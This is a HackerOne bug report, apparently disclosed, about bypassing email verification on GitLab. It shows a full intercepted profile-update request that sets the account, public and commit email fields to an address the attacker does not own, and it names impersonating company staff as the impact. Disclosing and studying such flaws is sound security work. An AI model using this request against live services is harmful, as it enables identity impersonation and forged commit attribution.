Bypass Gitlab public and commit email addresses changing validation
HackerOne report #881798 by enumzero
on 2020-05-24, assigned to @vdesousa:
Summary
Gitlab doesn't check the reliability of the user[public_email]
and the user[commit_email]
parameters. In the backend, it just checks if those fields are matched with the user[email]
but doesn't check if the email address has been verified. So by changing the user[email]
, user[public_email]
and user[commit_email]
at the same time, maybe a result of like-race condition, the server will change the user public email and commit email to become the same email as the currently-changed email address in the request (which hasn't been verified yet).
Steps to reproduce
- Visit the editing profile page.
- Change a little bit your personal information and then save it
- Intercept the request and change
user[email]
,user[public_email]
,user[commit_email]
to an email address that you don't own:
POST /profile HTTP/1.1
Host: gitlab.com
Connection: close
Content-Length: 2241
X-CSRF-Token: +utNjLghrMk40Dq/enME6hhrGtQUQNjJhCn52Nx/9MZpGeKThp3RGyGlY3fE+PxWm/nL2dHfxhP6SRXwFdE8gg==
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaOzwbFxhP1w6FI7U
------WebKitFormBoundaryaOzwbFxhP1w6FI7U
Content-Disposition: form-data; name="authenticity_token"
+utNjLghrMk40Dq/enME6hhrGtQUQNjJhCn52Nx/9MZpGeKThp3RGyGlY3fE+PxWm/nL2dHfxhP6SRXwFdE8gg==
------WebKitFormBoundaryaOzwbFxhP1w6FI7U
Content-Disposition: form-data; name="user[status][emoji]"
------WebKitFormBoundaryaOzwbFxhP1w6FI7U
Content-Disposition: form-data; name="user[status][message]"
------WebKitFormBoundaryaOzwbFxhP1w6FI7U
Content-Disposition: form-data; name="user[name]"
username
------WebKitFormBoundaryaOzwbFxhP1w6FI7U
Content-Disposition: form-data; name="user[id]"
5645507
------WebKitFormBoundaryaOzwbFxhP1w6FI7U
Content-Disposition: form-data; name="user[email]"
ngalog@gitlab.com
------WebKitFormBoundaryaOzwbFxhP1w6FI7U
Content-Disposition: form-data; name="user[public_email]"
ngalog@gitlab.com
------WebKitFormBoundaryaOzwbFxhP1w6FI7U
Content-Disposition: form-data; name="user[commit_email]"
ngalog@gitlab.com
- Now your commit email address and your public email address have been changed to that email.
Examples
Check out my profile:[@]justforhack
What is the current bug behavior?
The public and commit email addresses have a bad confirmation in the backend. It just checks if the email addresses are the same as the current email address. And when you send a request which also changes your current email address, the server will change your current email address first then perform change the user[commit_email]
and user[public_email]
after, which the user was able to bypass the check
What is the expected correct behavior?
Commit and public email should be checked with verified email addresses, not only email addresses
Impact
Impersonate as company employee with the public email address. Perform Gitlab git-related actions with the "verified" arbitrary email address and bypass the committing restriction